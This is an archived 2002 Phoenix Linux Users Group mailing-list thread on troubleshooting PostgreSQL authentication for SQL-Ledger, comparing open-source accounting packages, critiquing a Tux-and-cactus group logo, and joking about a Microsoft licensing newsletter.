to "Create Dataset" under the user 'mike', my linux (mike) password, and connect to 'mydb', I get the following error:FATAL 1: IDENT authentication failed for user "mike". I'm suspect my problems lie within pg_hba.conf, but whatever I do (thinking it is wide open) I continue to get the same error message. Can anyone offer some guidance here? v/r Mike From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 19:50:22 2002 From: plug-discuss@lists.plug.phoenix.az.us (Derek Neighbors) Date: Fri, 28 Jun 2002 14:50:22 -0500 (CDT) Subject: Accounting Packages In-Reply-To: <20020628125927.A35264@megconsult.com> Message-ID: I will speak from lots of experience being a developer in this space both professionally and in free software. > Two come to mind: > GNUCash GNUCash is not for business accounting. Further more it is local file database (not good for business computing), yes I realize they have a Postgres version, but its far from stable. They are working on some small business features but will be more on par with Quickbooks(which IMHO is a horrible business accounting package for many reasons) than a PeachTree > Sql Ledger SQL Ledger showed lots of promise in many ways until you look at its code and guts, last I checked you couldnt even reconcile bank accounts. If you are willing to go web accounting. NOLA from Noguska is much cleaner. > and perhaps GNUEnterpise > I think (biased) that we have the best promise in that we are a Framework much like SAP which offers true flexibility, but we dont have a shrink wrap accounting pak as of today Compiere is another nice package, that is polished but currently requires an Oracle database (pricey) and is under a weak copyleft license (MPL) > Personally, I am begining to take a look at Sql Ledger > (www.sql-ledger.org), problem is I'm an ole MySQL guy and > need to learn more 'bout PostgreSQL MySQL is not suited for business accounting in any way shape or form for many reasons (its a great database for many things, but this aint one of them) I strongly suggest you look at NOLA and give it an evaluation along with SQLLedger before making the jump, you will find it worth your time. Derek Neighbors GNU Enterprise http://www.gnuenterprise.org derek@gnue.org From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 20:14:29 2002 From: plug-discuss@lists.plug.phoenix.az.us (Derek Neighbors) Date: Fri, 28 Jun 2002 15:14:29 -0500 (CDT) Subject: postgreSQL permission problems In-Reply-To: <20020628144044.A45907@megconsult.com> Message-ID: > At any rate, when I fire up http://localhost/sqlledger.admin.pl, login, and then try > to "Create Dataset" under the user 'mike', my linux (mike) password, and connect to 'mydb', > I get the following error:FATAL 1: IDENT authentication failed for user "mike". > > I'm suspect my problems lie within pg_hba.conf, but whatever I do (thinking it is wide open) > I continue to get the same error message. You are correct this is a pg_hba.conf issue. As evidenced by the IDENT error. An easy way to test this kind of thing w/o having to fire up the application is do a psql -U mike -h localhost mydb Which forces things to access things like your web application does. > > Can anyone offer some guidance here? Comment out the other lines and add this to pg_hba.conf ... local all trust host all 127.0.0.1 255.255.255.255 trust It is not what I would leave for production or generally exposed machine, but it should be enough to allow you to test sql*ledger and see how you like it at which point you can read the finer points of pg_hba.conf options to set what is best for your needs. -Derek From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 20:19:50 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Fri, 28 Jun 2002 13:19:50 -0700 Subject: PLUG Logo Update! Message-ID: <200206281319.50441.zen2now@qwest.net> this is the newest version, also the master will be posted soon. what do you guys think about Tux in a Spawn Costume? http://www.zen2now.com/tux/tux1.jpg need some good feed back, as i want to get going with the screen printing slr From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 20:19:02 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mike Starke) Date: Fri, 28 Jun 2002 15:19:02 -0500 Subject: Accounting Packages In-Reply-To: ; from derek@gnue.org on Fri, Jun 28, 2002 at 02:50:22PM -0500 References: <20020628125927.A35264@megconsult.com> Message-ID: <20020628151901.A49786@megconsult.com> I agree with the GNUCash thing, It was the first thing to come to my mind when he asked tho :-( You recommend NOLA, but it runs off of MySQL. Yet MySQL is not suited for accounting? I think the bottom line is this: There are quite a few folks out there looking for accounting packages to run on *nix. there are some apps that I have plans on tweaking, thus having some clean code sure makes life easier. However, there are some folks (incliuding myself on this one) that just want to use the software and not bother to tweak it. For instance, I was looking for a CRM package for a client; I found 'Relata'. Nothing fancy, but it works. I have made some minor tweaks to it, and the db, but all in all,they run it as is. I'd like to find an equivalent accounting package. Web driven, sql based (postgres or mysql), and something I can make minor tweaks on. I'll take another look at NOLA in the meantime. v/r Mike On Fri, Jun 28, 2002 at 02:50:22PM -0500, Derek Neighbors wrote: I will speak from lots of experience being a developer in this space both professionally and in free software. > Two come to mind: > GNUCash GNUCash is not for business accounting. Further more it is local file database (not good for business computing), yes I realize they have a Postgres version, but its far from stable. They are working on some small business features but will be more on par with Quickbooks(which IMHO is a horrible business accounting package for many reasons) than a PeachTree > Sql Ledger SQL Ledger showed lots of promise in many ways until you look at its code and guts, last I checked you couldnt even reconcile bank accounts. If you are willing to go web accounting. NOLA from Noguska is much cleaner. > and perhaps GNUEnterpise > I think (biased) that we have the best promise in that we are a Framework much like SAP which offers true flexibility, but we dont have a shrink wrap accounting pak as of today Compiere is another nice package, that is polished but currently requires an Oracle database (pricey) and is under a weak copyleft license (MPL) > Personally, I am begining to take a look at Sql Ledger > (www.sql-ledger.org), problem is I'm an ole MySQL guy and > need to learn more 'bout PostgreSQL MySQL is not suited for business accounting in any way shape or form for many reasons (its a great database for many things, but this aint one of them) I strongly suggest you look at NOLA and give it an evaluation along with SQLLedger before making the jump, you will find it worth your time. Derek Neighbors GNU Enterprise http://www.gnuenterprise.org derek@gnue.org ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 20:37:06 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Fri, 28 Jun 2002 16:37:06 -0400 Subject: PLUG Logo Update! Message-ID: My $0.02. It is lopsided with the BIG saguaro on the right and the little cactus on the left. I like the balance of the original logo, with saguaros not too big and on both sides. It would match the banner we already have. Other than that, way cool work! Thanks for doing it! Alan On Fri, 28 Jun 2002 13:19:50 -0700 slr wrote: this is the newest version, also the master will be posted soon. what do you guys think about Tux in a Spawn Costume? http://www.zen2now.com/tux/tux1.jpg need some good feed back, as i want to get going with the screen printing slr ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 19:40:14 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert Bushman) Date: Fri, 28 Jun 2002 15:40:14 -0400 (EDT) Subject: PLUG Logo Update! In-Reply-To: <200206281319.50441.zen2now@qwest.net> Message-ID: I'm not going to be much help on feedback, I think it's fantastic! On Fri, 28 Jun 2002, slr wrote: > this is the newest version, also the master will be posted soon. what do you > guys think about Tux in a Spawn Costume? > > http://www.zen2now.com/tux/tux1.jpg > > need some good feed back, as i want to get going with the screen printing > > slr > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ------------------------------------------------------------------- "We need commonsense judges who understand that our rights were derived from God," - President George W. Bush, 27 June 2002 http://www.nandotimes.com/politics/story/448758p-3591873c.html ------------------------------------------------------------------- From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 20:53:42 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Fri, 28 Jun 2002 13:53:42 -0700 Subject: PLUG Logo Update! In-Reply-To: <200206281319.50441.zen2now@qwest.net> References: <200206281319.50441.zen2now@qwest.net> Message-ID: <02062813534219.07972@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 IMHO - it looks great! The saguaro is my preference over the prickly tho. Now, if it were two saguaro behind Tux, I would send my check in today. On Friday 28 June 2002 13:19, you wrote: > this is the newest version, also the master will be posted soon. what do > you guys think about Tux in a Spawn Costume? > > http://www.zen2now.com/tux/tux1.jpg > > need some good feed back, as i want to get going with the screen printing > > slr > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPRzM1ysk3ywszI1FEQISRwCgx4Z19fo6bt4Mc0Y9L1fSiU83SO4AoK8a nWW1q4VlA6Tet6Ee42Op5dWc =N//S -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 20:45:16 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Fri, 28 Jun 2002 16:45:16 -0400 Subject: MS offers licence fee FINANCING! Message-ID: This is from an e-newsletter I get from MS, as I deal with them in my professional life. I have clipped away most of it. I laughed about this part, though. I think they are shooting themselves in the foot, which is good for Linux. Alan -------- Forwarded message -------- Date: Fri, 28 Jun 2002 12:55:41 -0700 From: alandd@mindspring.com Reply-to: 3_33069_3379B672-B0AF-D011-8B19-08002BB74F3F_US@Newsletters.Microsoft.com To: alandd@consultpros.com Subject: Local News Southwest Connection Microsoft Southwest Connection for Arizona - July 2002 Edition ---- __________________________TABLE OF CONTENTS_________________________ 1. Product News 2. Licensing Updates 3. Events 4. Training 5. User Groups, Chats and Webcasts 6. Service and Support 7. Other Resources ---- 2. LICENSING UPDATES REMINDER! July 31, 2002 Software Assurance & Upgrade Advantage Eligibility will end! Until July 31, 2002, you may enroll eligible existing licenses in Software Assurance or Upgrade Advantage that offer a simpler way for you to keep current with the latest and most innovative Microsoft products. Learn about the benefits today: Overview of Software Assurance and Upgrade Advantage http://www.microsoft.com/licensing/programs/sa/sadefined.asp Understand Your Options: Purchase by July 31 and Save http://www.microsoft.com/licensing/programs/sa/saprepare.asp Open License Customers can Exercise 90-day No Payments/No Interest Option Microsoft is offering, for a limited time, the Microsoft Open License Credit Line Program to qualified small and medium businesses in the United States. It provides business owners with low minimum monthly payments options through extremely competitive financing for purchases made through July 31, 2002. Learn more from the FAQ about the Microsoft Open License Credit Line Program. http://www.microsoft.com/licensing/programs/open/finance/faqcredit.asp ---- From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 20:51:50 2002 From: plug-discuss@lists.plug.phoenix.az.us (Derek Neighbors) Date: Fri, 28 Jun 2002 15:51:50 -0500 (CDT) Subject: Accounting Packages In-Reply-To: <20020628151901.A49786@megconsult.com> Message-ID: > I agree with the GNUCash thing, It was the first thing to come to > my mind when he asked tho :-( > > You recommend NOLA, but it runs off of MySQL. Yet MySQL is not suited > for accounting? In an earlier mail I stated that GNU Enterprise was 'enhancing' NOLA, one such enhancement is we added postgres support, my bad. We are working with Noguska to get all changes incorporated back in. If you would like to see the postgres version before its committed let me know and I can point you at where to get it. -Derek From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 20:49:19 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Emerson) Date: Fri, 28 Jun 2002 13:49:19 -0700 (MST) Subject: postgreSQL permission problems In-Reply-To: <20020628144044.A45907@megconsult.com> Message-ID: Mike, how is the postmaster started? (postmaster is the postgresql backend server) There is an option the postmaster needs in order to allow network connections. Example, looking at the process list (ps ax): /usr/local/pgsql/bin/postmaster -i -D /web/pgsql The "-i" option seen here allows tcp connections, without it, quite a few of the software's can't connect. If you don't see this "-i" option, that may be your problem. A typical startup command for the postmaster looks like this (but all on one line!): su - postgres -c "/usr/local/pgsql/bin/postmaster -i -D /web/pgsql >logfile 2>&1 &" On Fri, 28 Jun 2002, Mike Starke wrote: I am attempting to get SQL-Ledger up and running and am running into a few problems as it pertains to postgreSQL. I have done the following: 1. As the user postgres (I'm on a debian sysem btw), I have done: 'createuser mike' 2. As the user 'mike' I have done: 'createdb mydb' 3. I can, as user 'mike' do: 'psql mydb' and get to the command line utility. 4. I have also ensured that I have the line" 'tcpip_socket = 1' in /etc/postgresql.conf 5. I have mucked around in /etc/postgresql/pg_hba.conf a bit and not sure what I have done in there. At any rate, when I fire up http://localhost/sqlledger.admin.pl, login, and then try to "Create Dataset" under the user 'mike', my linux (mike) password, and connect to 'mydb', I get the following error:FATAL 1: IDENT authentication failed for user "mike". I'm suspect my problems lie within pg_hba.conf, but whatever I do (thinking it is wide open) I continue to get the same error message. Can anyone offer some guidance here? v/r Mike ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 21:05:43 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Fri, 28 Jun 2002 14:05:43 -0700 Subject: PLUG Logo Update! In-Reply-To: References: Message-ID: <200206281405.43067.zen2now@qwest.net> k, i sent the feedback to Austin, and he is on it. so maybe here shortly we will have another version up for viewing. thx for the quick response! slr On Friday 28 June 2002 01:37 pm, alandd@mindspring.com wrote: > My $0.02. > > It is lopsided with the BIG saguaro on the right and the little cactus on > the left. I like the balance of the original logo, with saguaros not too > big and on both sides. It would match the banner we already have. > > Other than that, way cool work! Thanks for doing it! > > Alan > > On Fri, 28 Jun 2002 13:19:50 -0700 slr wrote: > > this is the newest version, also the master will be posted soon. what do > you guys think about Tux in a Spawn Costume? > > http://www.zen2now.com/tux/tux1.jpg > > need some good feed back, as i want to get going with the screen printing > > slr > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 21:00:49 2002 From: plug-discuss@lists.plug.phoenix.az.us (Shawn Rutledge) Date: Fri, 28 Jun 2002 14:00:49 -0700 Subject: PLUG Logo Update! In-Reply-To: References: Message-ID: <20020628210048.GG8953@ecloud.org> I like the cacti better, I think; but I think those white lines on Tux's arms aren't necessary, makes him look too artificial and also creates a bit of an illusion where his left arm meets his foot. And maybe his right arm (our left, his right) should be more rounded, convex instead of concave. It looks like you did this as a scalable vector graphic of some kind, which is great for blowing up to make bigger stuff like banners or T-shirts. I think maybe the main font should be non-italic, and only the tagline in italics. On Fri, Jun 28, 2002 at 04:37:06PM -0400, alandd@mindspring.com wrote: > It is lopsided with the BIG saguaro on the right and the little cactus on the > left. I like the balance of the original logo, with saguaros not too big and > on both sides. It would match the banner we already have. -- _______ Shawn T. Rutledge / KB7PWD ecloud@bigfoot.com (_ | |_) http://ecloud.org kb7pwd@kb7pwd.ampr.org __) | | \________________________________________________________________ From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 20:16:28 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert Bushman) Date: Fri, 28 Jun 2002 16:16:28 -0400 (EDT) Subject: MS offers licence fee FINANCING! In-Reply-To: Message-ID: On Fri, 28 Jun 2002 alandd@mindspring.com wrote: > Open License Customers can Exercise 90-day No Payments/No Interest Option > Microsoft is offering, for a limited time, the Microsoft Open License Credit > Line Program to qualified small and medium businesses in the United States. It > provides business owners with low minimum monthly payments options through > extremely competitive financing for purchases made through July 31, 2002. > Learn more from the FAQ about the Microsoft Open License Credit Line Program. > http://www.microsoft.com/licensing/programs/open/finance/faqcredit.asp Honey, did you forget to pay the Microsoft bill? The computer won't let me open my email. ------------------------------------------------------------------- "We need commonsense judges who understand that our rights were derived from God," - President George W. Bush, 27 June 2002 http://www.nandotimes.com/politics/story/448758p-3591873c.html ------------------------------------------------------------------- From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 21:17:16 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Fri, 28 Jun 2002 14:17:16 -0700 Subject: PLUG Logo Update! Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B54C@mail.int.fh.org> I like this one just the way it is. -----Original Message----- From: slr [mailto:zen2now@qwest.net] Sent: Friday, June 28, 2002 2:06 PM To: plug-discuss@lists.plug.phoenix.az.us; alandd@mindspring.com Subject: Re: PLUG Logo Update! k, i sent the feedback to Austin, and he is on it. so maybe here shortly we will have another version up for viewing. thx for the quick response! slr On Friday 28 June 2002 01:37 pm, alandd@mindspring.com wrote: > My $0.02. > > It is lopsided with the BIG saguaro on the right and the little cactus on > the left. I like the balance of the original logo, with saguaros not too > big and on both sides. It would match the banner we already have. > > Other than that, way cool work! Thanks for doing it! > > Alan > > On Fri, 28 Jun 2002 13:19:50 -0700 slr wrote: > > this is the newest version, also the master will be posted soon. what do > you guys think about Tux in a Spawn Costume? > > http://www.zen2now.com/tux/tux1.jpg > > need some good feed back, as i want to get going with the screen printing > > slr > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 21:28:37 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mike Starke) Date: Fri, 28 Jun 2002 16:28:37 -0500 Subject: postgreSQL permission problems In-Reply-To: ; from tom@technicaljanitors.com on Fri, Jun 28, 2002 at 01:49:19PM -0700 References: <20020628144044.A45907@megconsult.com> Message-ID: <20020628162837.A57530@megconsult.com> Right before Derek replied I figured out the pg_hba file right. So her was right on. although I have it fairly wide open, I'm able to get in and evaluate the program. I do have one question: Someone posted earlier this week about postgres utilizing the GRANT & REVOKE statements. In MySQL, it is pretty straightforward (at least to me) what happens when you issue GRANT statements. How is this handled in postgreSQL? Does it make entries in a table somewhere, or does it manipulate the pg_hba file? Or? v/r mike :On Fri, Jun 28, 2002 at 01:49:19PM -0700, Tom Emerson wrote: Mike, how is the postmaster started? (postmaster is the postgresql backend server) There is an option the postmaster needs in order to allow network connections. Example, looking at the process list (ps ax): /usr/local/pgsql/bin/postmaster -i -D /web/pgsql The "-i" option seen here allows tcp connections, without it, quite a few of the software's can't connect. If you don't see this "-i" option, that may be your problem. A typical startup command for the postmaster looks like this (but all on one line!): su - postgres -c "/usr/local/pgsql/bin/postmaster -i -D /web/pgsql >logfile 2>&1 &" On Fri, 28 Jun 2002, Mike Starke wrote: I am attempting to get SQL-Ledger up and running and am running into a few problems as it pertains to postgreSQL. I have done the following: 1. As the user postgres (I'm on a debian sysem btw), I have done: 'createuser mike' 2. As the user 'mike' I have done: 'createdb mydb' 3. I can, as user 'mike' do: 'psql mydb' and get to the command line utility. 4. I have also ensured that I have the line" 'tcpip_socket = 1' in /etc/postgresql.conf 5. I have mucked around in /etc/postgresql/pg_hba.conf a bit and not sure what I have done in there. At any rate, when I fire up http://localhost/sqlledger.admin.pl, login, and then try to "Create Dataset" under the user 'mike', my linux (mike) password, and connect to 'mydb', I get the following error:FATAL 1: IDENT authentication failed for user "mike". I'm suspect my problems lie within pg_hba.conf, but whatever I do (thinking it is wide open) I continue to get the same error message. Can anyone offer some guidance here? v/r Mike ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 21:35:59 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Fri, 28 Jun 2002 14:35:59 -0700 Subject: PLUG Logo Update! In-Reply-To: <4A8DFDA6B395D411A11B00508BEE23FE76B54C@mail.int.fh.org> References: <4A8DFDA6B395D411A11B00508BEE23FE76B54C@mail.int.fh.org> Message-ID: <200206281435.59188.zen2now@qwest.net> Austin loves you! slr On Friday 28 June 2002 02:17 pm, Tom Achtenberg wrote: > I like this one just the way it is. From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 21:48:27 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Fri, 28 Jun 2002 14:48:27 -0700 Subject: PLUG Logo Update! In-Reply-To: References: Message-ID: <200206281448.27786.zen2now@qwest.net> ok, seeing that it is kind of a split. some like the prickly pears and some like saguaros. how about we have 2, one with prickly's and one with saguaros. those who like prickly's will be happy, and those who want saguaro's will be happy as well. as for the White Outline on Tux's arms, is it really that distracting from the overall image? as for the Italic Fonts, is this an overall deciding factor for the group? slr On Friday 28 June 2002 01:37 pm, alandd@mindspring.com wrote: > My $0.02. > > It is lopsided with the BIG saguaro on the right and the little cactus on > the left. I like the balance of the original logo, with saguaros not too > big and on both sides. It would match the banner we already have. > > Other than that, way cool work! Thanks for doing it! > > Alan > > On Fri, 28 Jun 2002 13:19:50 -0700 slr wrote: > > this is the newest version, also the master will be posted soon. what do > you guys think about Tux in a Spawn Costume? > > http://www.zen2now.com/tux/tux1.jpg > > need some good feed back, as i want to get going with the screen printing > > slr > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 21:56:00 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Fri, 28 Jun 2002 14:56:00 -0700 Subject: PLUG Logo Update! In-Reply-To: <20020628210048.GG8953@ecloud.org> References: <20020628210048.GG8953@ecloud.org> Message-ID: <200206281456.00084.zen2now@qwest.net> > It looks like you did this as a scalable vector graphic of some kind, > which is great for blowing up to make bigger stuff like banners or > T-shirts. yes it is. slr From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 22:29:14 2002 From: plug-discuss@lists.plug.phoenix.az.us (tickticker) Date: Fri, 28 Jun 2002 15:29:14 -0700 Subject: PLUG Logo Update! References: <200206281448.27786.zen2now@qwest.net> Message-ID: <007001c21ef3$3bf344c0$0601010a@tickticker.com> I hate to point this out, but the saguaro is very clean shaven, heck,i've never been able to shave that close. anthony ----- Original Message ----- From: "slr" To: ; Sent: Friday, June 28, 2002 2:48 PM Subject: Re: PLUG Logo Update! > ok, seeing that it is kind of a split. some like the prickly pears and some > like saguaros. how about we have 2, one with prickly's and one with saguaros. > those who like prickly's will be happy, and those who want saguaro's will be > happy as well. > > as for the White Outline on Tux's arms, is it really that distracting from the > overall image? > > as for the Italic Fonts, is this an overall deciding factor for the group? > > slr > > On Friday 28 June 2002 01:37 pm, alandd@mindspring.com wrote: > > My $0.02. > > > > It is lopsided with the BIG saguaro on the right and the little cactus on > > the left. I like the balance of the original logo, with saguaros not too > > big and on both sides. It would match the banner we already have. > > > > Other than that, way cool work! Thanks for doing it! > > > > Alan > > > > On Fri, 28 Jun 2002 13:19:50 -0700 slr wrote: > > > > this is the newest version, also the master will be posted soon. what do > > you guys think about Tux in a Spawn Costume? > > > > http://www.zen2now.com/tux/tux1.jpg > > > > need some good feed back, as i want to get going with the screen printing > > > > slr > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 22:47:03 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Fri, 28 Jun 2002 15:47:03 -0700 Subject: PLUG Logo Update! In-Reply-To: <007001c21ef3$3bf344c0$0601010a@tickticker.com> References: <200206281448.27786.zen2now@qwest.net> <007001c21ef3$3bf344c0$0601010a@tickticker.com> Message-ID: <200206281547.03743.zen2now@qwest.net> hehe, its a Native American Saguaro. :~D slr On Friday 28 June 2002 03:29 pm, tickticker wrote: > I hate to point this out, but the saguaro is very clean shaven, heck,i've > never been able to shave that close. > > anthony > ----- Original Message ----- > From: "slr" > To: ; > Sent: Friday, June 28, 2002 2:48 PM > Subject: Re: PLUG Logo Update! > > > ok, seeing that it is kind of a split. some like the prickly pears and > > some > > > like saguaros. how about we have 2, one with prickly's and one with > > saguaros. > > > those who like prickly's will be happy, and those who want saguaro's will > > be > > > happy as well. > > > > as for the White Outline on Tux's arms, is it really that distracting > > from > > the > > > overall image? > > > > as for the Italic Fonts, is this an overall deciding factor for the > > group? > > > > slr > > > > On Friday 28 June 2002 01:37 pm, alandd@mindspring.com wrote: > > > My $0.02. > > > > > > It is lopsided with the BIG saguaro on the right and the little cactus > > on > > > > the left. I like the balance of the original logo, with saguaros not > > too > > > > big and on both sides. It would match the banner we already have. > > > > > > Other than that, way cool work! Thanks for doing it! > > > > > > Alan > > > > > > On Fri, 28 Jun 2002 13:19:50 -0700 slr wrote: > > > > > > this is the newest version, also the master will be posted soon. what > > > do you guys think about Tux in a Spawn Costume? > > > > > > http://www.zen2now.com/tux/tux1.jpg > > > > > > need some good feed back, as i want to get going with the screen > > printing > > > > slr > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 23:06:54 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Fri, 28 Jun 2002 16:06:54 -0700 Subject: PLUG Logo Update! In-Reply-To: <200206281448.27786.zen2now@qwest.net> References: <200206281448.27786.zen2now@qwest.net> Message-ID: <0206281606541A.07972@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Wow! Choice! Whutta concept! Next thing you will tell us is that this is freely available and we can download the source for it! I like the idea of two of them. I see Tux's left flipper as deformed tho - it could/should be hidden behind his left foot. On Friday 28 June 2002 14:48, you wrote: > ok, seeing that it is kind of a split. some like the prickly pears and some > like saguaros. how about we have 2, one with prickly's and one with > saguaros. those who like prickly's will be happy, and those who want > saguaro's will be happy as well. > > as for the White Outline on Tux's arms, is it really that distracting from > the overall image? > > as for the Italic Fonts, is this an overall deciding factor for the group? > > slr > > On Friday 28 June 2002 01:37 pm, alandd@mindspring.com wrote: > > My $0.02. > > > > It is lopsided with the BIG saguaro on the right and the little cactus on > > the left. I like the balance of the original logo, with saguaros not too > > big and on both sides. It would match the banner we already have. > > > > Other than that, way cool work! Thanks for doing it! > > > > Alan > > > > On Fri, 28 Jun 2002 13:19:50 -0700 slr wrote: 